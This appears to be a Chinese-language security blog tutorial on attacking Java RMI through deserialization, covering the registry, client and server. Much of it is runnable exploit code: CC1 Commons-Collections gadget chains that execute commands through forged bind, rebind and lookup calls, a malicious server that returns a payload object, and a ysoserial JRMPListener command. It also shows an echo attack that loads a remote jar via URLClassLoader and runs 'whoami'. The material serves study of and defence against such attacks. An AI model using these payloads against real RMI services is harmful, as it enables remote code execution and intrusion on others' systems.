RMI的基本攻击方式
我们知道,利用RMI攻击主要是与反序列化漏洞结合,源代码中调用了readObject方法的抵挡,就有可能被攻击
那么与上一篇RMI基础结合,大致可以分为以下三种攻击方式
- RMI Client 打 RMI Registry
- RMI Client 打 RMI Server
- RMI Client
攻击注册中心
注册中心的交互主要是这一句话
1
| registry.bind("remoteObj",obj);
|
我们在分析源码的时候看到过,与注册中心交互时,可调用的不只着一种方法
这几种方法位于 RegistryImpl_Skel#dispatch 中,如果存在对传入的对象调用 readObject() 方法,则可以利用,dispatch 里面对应关系如下:
- 0 –> bind
- 1 –> list
- 2 –> lookup
- 3 –> rebind
- 4 –> unbind
首先是 list 这种攻击,因为除了 list 和 lookup 两个,其余的交互在 8u121 之后都是需要 localhost 的。
但是讲道理,list 的这种攻击比较鸡肋。
使用 list() 方法进行攻击
用 list() 方法可以列出目标上所有绑定的对象:
在 RMIClient 文件夹里面新建一个新的 Java class,因为我们后续的攻击肯定是从用户的客户端出发,往服务端这里打的。代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.example;
import java.rmi.Naming; import java.rmi.RemoteException;
public class RegistryListAttack { public static void main(String[] args) throws Exception{ RemoteObj remoteObj = new RemoteObj() { @Override public String sayHello(String keywords) throws RemoteException { return null; } }; String[] s = Naming.list("rmi://127.0.0.1:1099"); System.out.println(s); } }
|
先运行RMI服务器,再运行此文件,可以看到控制台输出
在这里打印出的是绑定对象的信息

因为这里没有 readObject(),所以无法进行反序列化,这样我们的攻击面就太窄了。我们可以跳进 RegistryImpl_Skel#dispatch 看一下,list 对应的是 case1
只有 writeObject(),没有 readObject()
1 2 3 4 5 6 7 8 9 10 11
| case 1: var2.releaseInputStream(); String[] var97 = var6.list();
try { ObjectOutput var98 = var2.getResultStream(true); var98.writeObject(var97); break; } catch (IOException var92) { throw new MarshalException("error marshalling return", var92); }
|
实际上是不能算作攻击的
bind 或 rebind 的攻击
我们知道,这两者对应的case分别为0,3
其源码如下,两个方法中都是存在反序列化的,反序列化的东西均为 一个参数名和一个远程对象
这两者的均可以作为反序列化的入口类,若该服务端导入了CC的依赖,我们就可以利用这里的反序列化入口,进行CC链的反序列化攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| case 0: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var94) { throw new UnmarshalException("error unmarshalling arguments", var94); } catch (ClassNotFoundException var95) { throw new UnmarshalException("error unmarshalling arguments", var95); } finally { var2.releaseInputStream(); }
var6.bind(var7, var8);
try { var2.getResultStream(true); break; } catch (IOException var93) { throw new MarshalException("error marshalling return", var93); } case 3: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var85) { throw new UnmarshalException("error unmarshalling arguments", var85); } catch (ClassNotFoundException var86) { throw new UnmarshalException("error unmarshalling arguments", var86); } finally { var2.releaseInputStream(); }
var6.rebind(var7, var8);
try { var2.getResultStream(true); break; } catch (IOException var84) { throw new MarshalException("error marshalling return", var84); }
|
这里为了演示,先将CC链的依赖导进来
1 2 3 4 5 6 7
| <dependencies> <!-- https: <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies>
|
这里准备使用CC1链
回忆一下我们的CC1链

原本 CC1 的最后面是 InvocationHandler.readObject(),现在我们要让客户端的 bind() 方法执行 readObject()
但是又因为这里有一个需要注意的点就是调用bind()的时候无法传入AnnotationInvocationHandler类的对象,必须要转为Remote类才行
1 2
| InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap); Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
|
注:这里的InvocationHandler 是 Java 反射机制的一部分,通常与 动态代理(Proxy)一起使用。当你通过反射创建一个代理对象时,这个代理对象需要一个 InvocationHandler 来处理所有方法调用。InvocationHandler 会接管对代理对象的方法调用,然后执行你自定义的处理逻辑
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class AttackRegistryEXP { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); InvocationHandler handler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class[] { Remote.class }, handler)); registry.bind("test",remote); } public static Object CC1() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","drunkbaby"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, transformedMap); return o; } }
|
先运行服务端,再运行此代码,成功弹出计算器

rebind攻击和bind攻击一样,只需要将bind替换为rebind
unbind/lookup攻击
与bind和rebind一样,我们也去查看一下对应的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| case 2: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var89) { throw new UnmarshalException("error unmarshalling arguments", var89); } catch (ClassNotFoundException var90) { throw new UnmarshalException("error unmarshalling arguments", var90); } finally { var2.releaseInputStream(); }
var8 = var6.lookup(var7);
try { ObjectOutput var9 = var2.getResultStream(true); var9.writeObject(var8); break; } catch (IOException var88) { throw new MarshalException("error marshalling return", var88); }
case 4: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var81) { throw new UnmarshalException("error unmarshalling arguments", var81); } catch (ClassNotFoundException var82) { throw new UnmarshalException("error unmarshalling arguments", var82); } finally { var2.releaseInputStream(); }
var6.unbind(var7);
try { var2.getResultStream(true); break; } catch (IOException var80) { throw new MarshalException("error marshalling return", var80); }
|
可以看到这两个方法都是只能传入字符串的
这里我们可以通过伪造 lookup 连接请求进行利用,修改 lookup 方法代码使其可以传入对象
原先的lookup方法
Registry_Stub#lookup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { try { RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var18) { throw new MarshalException("序列化参数时出错", var18); }
super.ref.invoke(var2);
Remote var23; try { ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject(); } catch (IOException var15) { throw new UnmarshalException("反序列化返回值时出错", var15); } catch (ClassNotFoundException var16) { throw new UnmarshalException("反序列化返回值时出错", var16); } finally { super.ref.done(var2); }
return var23; } catch (RuntimeException var19) { throw var19; } catch (RemoteException var20) { throw var20; } catch (NotBoundException var21) { throw var21; } catch (Exception var22) { throw new UnexpectedException("未声明的检查异常", var22); } }
|
重要的代码有以下几条,这里我们重点看传输部分
1 2 3 4 5 6 7 8 9
| RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); super.ref.invoke(var2);
ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject();
|
我们需要伪造的是传输中的var2,感觉这个var2类似于数据包的请求头
operations和super.ref是我们需要获取的信息
operations是写好的我们可以直接把这段代码copy过来
1
| private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
|
找一下super.ref
调试一下,获取到ref

利用反射获取到这个ref
1 2 3
| Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
|
- registry.getClass()
这返回与 registry 对象关联的 Class 对象,而 registry 是 Registry 的一个实例。
- getSuperclass()
getSuperclass() 方法被调用了两次,用来向上查找继承关系。Registry 类(即 java.rmi.registry.Registry 的实现)继承自 java.rmi.server.RemoteServer,而 RemoteServer 又继承自 java.rmi.server.RemoteObject。
第一次调用 getSuperclass() 会从 Registry 类返回到 RemoteServer。
第二次调用会从 RemoteServer 返回到 RemoteObject。
- getDeclaredFields()
此方法获取 RemoteObject 类(第二个父类)中声明的所有字段。通常,像 UnicastRef 这样的 RMI 相关字段就会在这里出现。
通过访问 fields_0[0],代码假定 RemoteObject 类中的第一个字段是 UnicastRef,它保存了远程对象的引用。由于该字段通常是私有的,代码通过 setAccessible(true) 来绕过 Java 的访问控制检查
EXP
这个漏洞的触发点实际上是在ref.invoke(var2);代码
invoke函数会调用executeCall()方法,这个方法是真正处理网络请求的方法,这里会执行反序列化的操作,从这里会触发我们构造的反序列化链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); InvocationHandler handler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2); } public static Object CC1() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","drunkbaby"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, transformedMap); return o; }
|
顺利弹出计算器

注意
注意这两个poc (bind/rebind和unbind/lookup)只能在 jdk7u71以下的版本才能执行,7u71这个版本也不行,我用的是7u66这个版本的JDK,因为在7u71及以上的版本中AnnotationInvocationHandler的readObject方法中,LazyMap被替换成了LinkedHashMap因此无法触发LazyMap构造的POC,虽然有绕过方法,但是这里只是为了说明RMI的漏洞,所以降低JDK版本即可
攻击客户端
注册中心攻击客户端
对于注册中心来说,我们还是从这几个方法触发:
- bind
- unbind
- rebind
- list
- lookup
除了unbind和rebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener
相当于是重新起了一个恶意的注册中心,这里返回的数据可以受我们控制
1
| java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'
|
在客户端运行此代码
1 2 3 4 5 6 7 8 9 10 11
| import java.rmi.Naming; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Client { public static void main(String[] args) throws RemoteException { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); registry.list(); } }
|
成功弹出计算器

服务端攻击客户端
服务端攻击客户端,大抵可以分为以下两种情景
- 服务端返回Object对象
- 远程加载对象
服务端返回Object对象
在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:
这个接口需要在服务端和客户端都创建
1 2 3
| public interface User extends java.rmi.Remote { public Object getUser() throws Exception; }
|
- 服务端实现 User 接口,返回 CC1 的恶意 Object 对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package com.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import java.util.Map;
public class ServerReturnObject extends UnicastRemoteObject implements User { public String name; public int age;
public ServerReturnObject(String name, int age) throws RemoteException { super(); this.name = name; this.age = age; }
public Object getUser() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
return (Object) handler; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class EvilClassServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { User liming = new ServerReturnObject("liming",15); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user",liming); System.out.println("registry is running..."); System.out.println("liming is bind in registry"); } }
|
- 客户端获取对象并调用
getUser() 方法,将反序列化服务端传来的恶意远程对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import java.rmi.Naming; import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class EvilClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User user = (User)registry.lookup("user"); user.getUser(); } }
|
运行一下
顺利弹出计算器

加载远程对象
适用性很低,这里贴出来做一个记录吧,说不定能用上呢
当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。
**java.rmi.server.codebase:**codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。
RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使用http://、ftp://、file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebaseURL去加载类;对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebaseURL去加载对应的类。客户端与服务端两边的java.rmi.server.codebaseURL都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:
- 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置
java.security.policy,这在后面的利用中可以看到。
- 属性
java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
攻击服务端
客户端打服务端
服务端代码
- jdk版本1.7
- 使用具有漏洞的Commons-Collections3.1组件
- RMI提供的数据有Object类型(因为攻击payload就是Object类型)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import java.rmi.Naming; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject; public class VictimServer { public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj { protected RemoteHelloWorld() throws RemoteException { super(); } public String hello() throws RemoteException { System.out.println("调用了hello方法"); return "Hello world"; } public void evil(Object obj) throws RemoteException { System.out.println("调用了evil方法,传递对象为:"+obj); } @Override public String sayHello(String keywords) throws RemoteException { return null; } } private void start() throws Exception { RemoteHelloWorld h = new RemoteHelloWorld(); LocateRegistry.createRegistry(1099); Naming.rebind("rmi://127.0.0.1:1099/Hello", h); } public static void main(String[] args) throws Exception { new VictimServer().start(); } }
|
客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import Server.IRemoteHelloWorld; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.rmi.Naming; import java.util.HashMap; import java.util.Map; import Server.IRemoteHelloWorld; public class RMIClient { public static void main(String[] args) throws Exception { IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello"); r.evil(getpayload()); } public static Object getpayload() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "lala"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); return instance; } }
|
远程加载服务对象
和上边Server打Client一样利用条件非常苛刻。
参考:https://paper.seebug.org/1091/#serverrmi
RMI的进阶攻击方式
利用URLClassLoader实现回显攻击
攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端
远程demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import java.io.BufferedReader; import java.io.InputStreamReader; public class ErrorBaseExec { public static void do_exec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
|
通过如下命令制作成jar包:
这个jar包要放在远程的服务器上
1 2
| javac ErrorBaseExec.java jar -cvf RMIexploit.jar ErrorBaseExec.class
|
客户端POC
还是利用CC1链触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.URLClassLoader; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class Client2 { public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; int port = 1099; String remotejar = 远程jar; String command = "whoami"; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; try { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Class cl = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); Registry registry = LocateRegistry.getRegistry(ip, port); InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class, outerMap); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, h)); registry.bind("liming", r); } catch (Exception e) { try { System.out.print(e.getCause().getCause().getCause().getMessage()); } catch (Exception ee) { throw e; } } } }
|
参考
https://cangqingzhe.github.io/2020/12/17/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/
https://su18.org/post/rmi-attack/
Java反序列化之RMI专题02-RMI的几种攻击方式 | Drunkbaby’s Blog